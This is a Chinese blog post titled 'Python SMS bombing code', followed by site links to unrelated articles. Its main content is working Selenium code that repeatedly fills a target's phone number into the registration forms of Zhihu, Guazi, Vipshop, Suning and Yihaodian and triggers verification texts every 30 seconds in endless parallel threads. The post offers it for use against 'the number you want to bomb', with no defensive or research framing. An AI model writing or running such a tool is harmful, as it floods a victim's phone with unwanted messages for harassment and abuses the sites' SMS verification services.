Python短信轰炸的代码


Posted in Python onMarch 25, 2020

环境 python3.0

工具 pycharm

谷歌插件chromedriver

程序执行方法

from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
  def __init__(self):
    self.phone = "xxxxx"#你要轰炸的电话号码
    self.num = 0
  def send_yzm(self,button,name):
    button.click()
    self.num+=1
    print("{}  第{}次  发送成功  {}".format(self.phone,self.num,name))
    time.sleep(30)
  def zhihu(self,name):
    while True:#下面这行是刚刚叙说的chromedrive的安装路径

      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.zhihu.com/question/39993344")
      driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")
      tel.send_keys(self.phone)
      button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
      self.send_yzm(button,name)
      driver.quit ()
  def guazi(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.guazi.com/www/bj/buy")
      a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
      a_btn.click()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']")
      tel.send_keys( self.phone )
      button = driver.find_element_by_xpath("//button[@class='get-code']")
      self.send_yzm(button,name)
      driver.quit()
  def wphui(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
      tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
      tel.send_keys ( self.phone )
      driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()
      button = driver.find_element_by_xpath (
        "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def suning(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://reg.suning.com/person.do" )
      driver.find_element_by_xpath("//a[@class='agree-btn']").click()
      tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")
      tel.send_keys ( self.phone )
      button = driver.find_element_by_xpath (
        "//a[@id='sendSmsCode']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def yhd(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.yhd.com/passport/register_input.do" )
      driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
      tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
      tel.send_keys ( self.phone )
      time.sleep(2)
      button = driver.find_element_by_xpath (
        "//a[@class='receive_code fl same_code_btn r_disable_code ']" )
      #button.click()
      time.sleep(1)
      self.send_yzm ( button,name )
      driver.quit ()

执行放发

from threading import Thread

from sendPhon import HongZha

hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品会",))
suning = Thread(target=hongzha.suning,args=("苏宁",))
yhd= Thread( target=hongzha.yhd,args=("一号店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()

总结

到此这篇关于Python短信轰炸的代码的文章就介绍到这了,更多相关Python短信轰炸内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python中global与nonlocal比较
Nov 21 Python
Python编程中运用闭包时所需要注意的一些地方
May 02 Python
浅谈python中的占位符
Nov 09 Python
基于Python socket的端口扫描程序实例代码
Feb 09 Python
Python pymongo模块用法示例
Mar 31 Python
Python3.6简单反射操作示例
Jun 14 Python
python 列表,数组和矩阵sum的用法及区别介绍
Jun 28 Python
python使用udp实现聊天器功能
Dec 10 Python
python实现三次样条插值
Dec 17 Python
Django修改app名称和数据表迁移方案实现
Sep 17 Python
如何用 Python 处理不平衡数据集
Jan 04 Python
pycharm 实现复制一行的快捷键
Jan 15 Python
PyQt5事件处理之定时在控件上显示信息的代码
Mar 25 #Python
基于Python计算圆周率pi代码实例
Mar 25 #Python
Python异常原理及异常捕捉实现过程解析
Mar 25 #Python
Python导入模块包原理及相关注意事项
Mar 25 #Python
Python脚本导出为exe程序的方法
Mar 25 #Python
Python实现猜年龄游戏代码实例
Mar 25 #Python
python读取mysql数据绘制条形图
Mar 25 #Python
You might like
DOTA2 1月28日更新:监管系统降临刀塔世界
2021/01/28 DOTA
如何使用PHP实现javascript的escape和unescape函数
2013/06/29 PHP
PHP输出两个数字中间有多少个回文数的方法
2015/03/23 PHP
基于php解决json_encode中文UNICODE转码问题
2020/11/10 PHP
Javascript浅谈之引用类型
2013/12/18 Javascript
jquery 获取dom固定元素 添加样式的简单实例
2014/02/04 Javascript
jquery mobile动态添加元素之后不能正确渲染解决方法说明
2014/03/05 Javascript
jQuery滚动新闻实现代码
2016/06/26 Javascript
jQuery实现用户输入自动完成功能
2017/02/13 Javascript
原生JS实现$.param() 函数的方法
2018/08/10 Javascript
vue解决一个方法同时发送多个请求的问题
2018/09/25 Javascript
vue实现form表单与table表格的数据关联功能示例
2019/01/29 Javascript
Angular7.2.7路由使用初体验
2019/03/01 Javascript
javascript for循环性能测试示例
2019/08/07 Javascript
vue大型项目之分模块运行/打包的实现
2020/09/21 Javascript
python获取豆瓣电影简介代码分享
2014/01/16 Python
Python中isnumeric()方法的使用简介
2015/05/19 Python
Python 绘图和可视化详细介绍
2017/02/11 Python
flask入门之文件上传与邮件发送示例
2018/07/18 Python
Django添加feeds功能的示例
2018/08/07 Python
Python解析Excle文件中的数据方法
2018/10/23 Python
如何使用Python 打印各种三角形
2019/06/28 Python
Pytorch环境搭建与基本语法
2020/06/03 Python
Python爬虫实现自动登录、签到功能的代码
2020/08/20 Python
如何设置Java的运行环境
2013/04/05 面试题
三维科技面试题
2013/07/27 面试题
华三通信H3C面试题
2015/05/15 面试题
企业面试题试卷附带答案
2015/12/20 面试题
求职信的要素有哪些呢
2013/12/26 职场文书
检举信的格式及范文
2014/04/04 职场文书
邻里守望志愿服务活动方案
2014/08/15 职场文书
如何写股份合作协议书
2014/09/11 职场文书
大学生自荐信怎么写
2015/03/26 职场文书
python读取pdf格式文档的实现代码
2021/04/01 Python
python 如何获取页面所有a标签下href的值
2021/05/06 Python
漫画「处刑少女的生存之道」第3卷封面公开
2022/03/21 日漫